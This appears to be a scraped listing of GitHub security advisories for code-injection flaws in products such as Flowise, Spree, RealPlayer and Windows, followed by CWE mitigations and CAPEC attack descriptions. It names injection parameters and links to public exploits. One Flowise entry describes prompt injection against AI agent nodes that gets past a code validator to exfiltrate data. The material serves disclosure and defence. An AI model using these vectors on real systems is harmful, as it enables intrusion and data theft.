activities:\n\n* Ensure that the `additionalConfig` input could not be abused to overwrite the `database` property to an arbitrary file path.\n\n* Use a low-privileged user for container runtimes instead of the privileged `root` user, since the `root` user has file access to the entire filesystem of the container.",
"id": "GHSA-x3hf-7cj6-3r4m",
"modified": "2026-08-04T16:05:10Z",
"published": "2026-08-04T16:05:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x3hf-7cj6-3r4m"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6464"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise RCE via SQLite Record Manager Node"
}
GHSA-X3HV-3X95-99MR
Vulnerability from github – Published: 2022-05-02 03:25 – Updated: 2022-05-02 03:25
VLAI
Details
PHP remote file inclusion vulnerability in format.php in SMA-DB 0.3.12 allows remote attackers to execute arbitrary PHP code via a URL in the _page_content parameter.
{
"affected": [],
"aliases": [
"CVE-2009-1450"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-04-28T15:30:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in format.php in SMA-DB 0.3.12 allows remote attackers to execute arbitrary PHP code via a URL in the _page_content parameter.",
"id": "GHSA-x3hv-3x95-99mr",
"modified": "2022-05-02T03:25:19Z",
"published": "2022-05-02T03:25:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1450"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7936"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X3JW-7GJ7-QV6M
Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-08-13 12:31
VLAI
Details
Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection. Attackers can exploit unblocked pandas functions like pd.read_json() to exfiltrate datasets, perform SSRF against internal services, or achieve code execution through the unauthenticated prediction API.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-73487"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T12:17:24Z",
"severity": "CRITICAL"
},
"details": "Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection. Attackers can exploit unblocked pandas functions like pd.read_json() to exfiltrate datasets, perform SSRF against internal services, or achieve code execution through the unauthenticated prediction API.",
"id": "GHSA-x3jw-7gj7-qv6m",
"modified": "2026-08-13T12:31:09Z",
"published": "2026-08-13T12:31:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-w7x8-q2gp-5cgg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73487"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/flowise-before-prompt-injection-rce-via-csv-agent"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X3PW-X548-2H9H
Vulnerability from github – Published: 2022-05-02 06:11 – Updated: 2022-05-02 06:11
VLAI
Details
The TCP/IP implementation in Microsoft Windows Vista Gold, SP1, and SP2 and Server 2008 Gold and SP2, when IPv6 is enabled, does not properly perform bounds checking on ICMPv6 Router Advertisement packets, which allows remote attackers to execute arbitrary code via crafted packets, aka "ICMPv6 Router Advertisement Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2010-0239"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-02-10T18:30:00Z",
"severity": "HIGH"
},
"details": "The TCP/IP implementation in Microsoft Windows Vista Gold, SP1, and SP2 and Server 2008 Gold and SP2, when IPv6 is enabled, does not properly perform bounds checking on ICMPv6 Router Advertisement packets, which allows remote attackers to execute arbitrary code via crafted packets, aka \"ICMPv6 Router Advertisement Vulnerability.\"",
"id": "GHSA-x3pw-x548-2h9h",
"modified": "2022-05-02T06:11:01Z",
"published": "2022-05-02T06:11:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0239"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-009"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8478"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA10-040A.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X3R6-8RCC-599C
Vulnerability from github – Published: 2022-05-01 06:58 – Updated: 2022-05-01 06:58
VLAI
Details
Unspecified vulnerability in Microsoft Internet Explorer 5.01 SP4 and 6 SP1 and earlier allows user-assisted remote attackers to execute arbitrary code via a crafted web page that triggers memory corruption when it is saved as a multipart HTML (.mht) file.
{
"affected": [],
"aliases": [
"CVE-2006-2385"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-06-13T19:06:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in Microsoft Internet Explorer 5.01 SP4 and 6 SP1 and earlier allows user-assisted remote attackers to execute arbitrary code via a crafted web page that triggers memory corruption when it is saved as a multipart HTML (.mht) file.",
"id": "GHSA-x3r6-8rcc-599c",
"modified": "2022-05-01T06:58:43Z",
"published": "2022-05-01T06:58:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-2385"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-021"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/26782"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1167"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1423"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1609"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1665"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1911"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1916"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/20595"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1016291"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/26446"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/18320"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/2319"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X467-HF2H-75GQ
Vulnerability from github – Published: 2024-10-26 00:32 – Updated: 2024-10-29 21:30
VLAI
Details
An issue in ofcms 1.1.2 allows a remote attacker to execute arbitrary code via the FileOutputStream function in the write String method of the ofcms-admin\src\main\java\com\ofsoft\cms\core\uitle\FileUtils.java file
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-48236"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-25T22:15:02Z",
"severity": "MODERATE"
},
"details": "An issue in ofcms 1.1.2 allows a remote attacker to execute arbitrary code via the FileOutputStream function in the write String method of the ofcms-admin\\src\\main\\java\\com\\ofsoft\\cms\\core\\uitle\\FileUtils.java file",
"id": "GHSA-x467-hf2h-75gq",
"modified": "2024-10-29T21:30:48Z",
"published": "2024-10-26T00:32:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48236"
},
{
"type": "WEB",
"url": "https://gitee.com/oufu/ofcms/issues/IASIBT"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X474-4899-V7HV
Vulnerability from github – Published: 2022-05-02 03:14 – Updated: 2025-04-09 04:04
VLAI
Details
Buffer overflow in a DLL file in RealNetworks RealPlayer 10, RealPlayer 10.5 6.0.12.1040 through 6.0.12.1741, RealPlayer 11 11.0.0 through 11.0.4, RealPlayer Enterprise, Mac RealPlayer 10 and 10.1, Linux RealPlayer 10, and Helix Player 10.x allows remote attackers to execute arbitrary code via a crafted Internet Video Recording (IVR) file with a filename length field containing a large integer, which triggers overwrite of an arbitrary memory location with a 0x00 byte value, related to use of RealPlayer through a Windows Explorer plugin.
{
"affected": [],
"aliases": [
"CVE-2009-0375"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-08T21:30:00Z",
"severity": "HIGH"
},
"details": "Buffer overflow in a DLL file in RealNetworks RealPlayer 10, RealPlayer 10.5 6.0.12.1040 through 6.0.12.1741, RealPlayer 11 11.0.0 through 11.0.4, RealPlayer Enterprise, Mac RealPlayer 10 and 10.1, Linux RealPlayer 10, and Helix Player 10.x allows remote attackers to execute arbitrary code via a crafted Internet Video Recording (IVR) file with a filename length field containing a large integer, which triggers overwrite of an arbitrary memory location with a 0x00 byte value, related to use of RealPlayer through a Windows Explorer plugin.",
"id": "GHSA-x474-4899-v7hv",
"modified": "2025-04-09T04:04:24Z",
"published": "2022-05-02T03:14:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0375"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/48567"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/33810"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/38218"
},
{
"type": "WEB",
"url": "http://service.real.com/realplayer/security/01192010_player/en"
},
{
"type": "WEB",
"url": "http://www.fortiguardcenter.com/advisory/FGA-2009-04.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/500722/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/33652"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0178"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X485-RHG3-CQR4
Vulnerability from github – Published: 2025-08-20 18:30 – Updated: 2025-12-01 16:03
VLAI
Summary
Spree Commerce is vulnerable to RCE through Search API
Details
Spreecommerce versions prior to 0.50.x contain a remote command execution vulnerability in the API's search functionality. Improper input sanitation allows attackers to inject arbitrary shell commands via the search[instance_eval] parameter, which is dynamically invoked using Ruby’s send method. This flaw enables unauthenticated attackers to execute commands on the server.
Severity
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "spree"
},
"ranges": [
{
"events": [
{
"introduced": "0.30.0.beta1"
},
{
"fixed": "0.50.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rd_searchlogic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2011-10026"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-26T00:04:31Z",
"nvd_published_at": "2025-08-20T16:15:35Z",
"severity": "CRITICAL"
},
"details": "Spreecommerce versions prior to 0.50.x contain a remote command execution vulnerability in the API\u0027s search functionality. Improper input sanitation allows attackers to inject arbitrary shell commands via the search[instance_eval] parameter, which is dynamically invoked using Ruby\u2019s send method. This flaw enables unauthenticated attackers to execute commands on the server.",
"id": "GHSA-x485-rhg3-cqr4",
"modified": "2025-12-01T16:03:35Z",
"published": "2025-08-20T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-10026"
},
{
"type": "WEB",
"url": "https://github.com/spree/spree/commit/0a9a360c590829d8a377ceae0cf997bbbbcc2df4"
},
{
"type": "WEB",
"url": "https://github.com/spree/spree/commit/3b559e7219f3681184be409ad00cd34a34a37978"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rd_searchlogic/CVE-2011-10026.yml"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/CVE-2011-10026.yml"
},
{
"type": "WEB",
"url": "https://github.com/spree"
},
{
"type": "PACKAGE",
"url": "https://github.com/spree/spree"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/spree_searchlogic_exec.rb"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20111120023342/http://spreecommerce.com/blog/2011/04/19/security-fixes"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/17199"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/spreecommerce-api-rce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Spree Commerce is vulnerable to RCE through Search API"
}
Mitigation
Architecture and Design
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
Architecture and Design
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Operation
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Operation
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
Implementation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.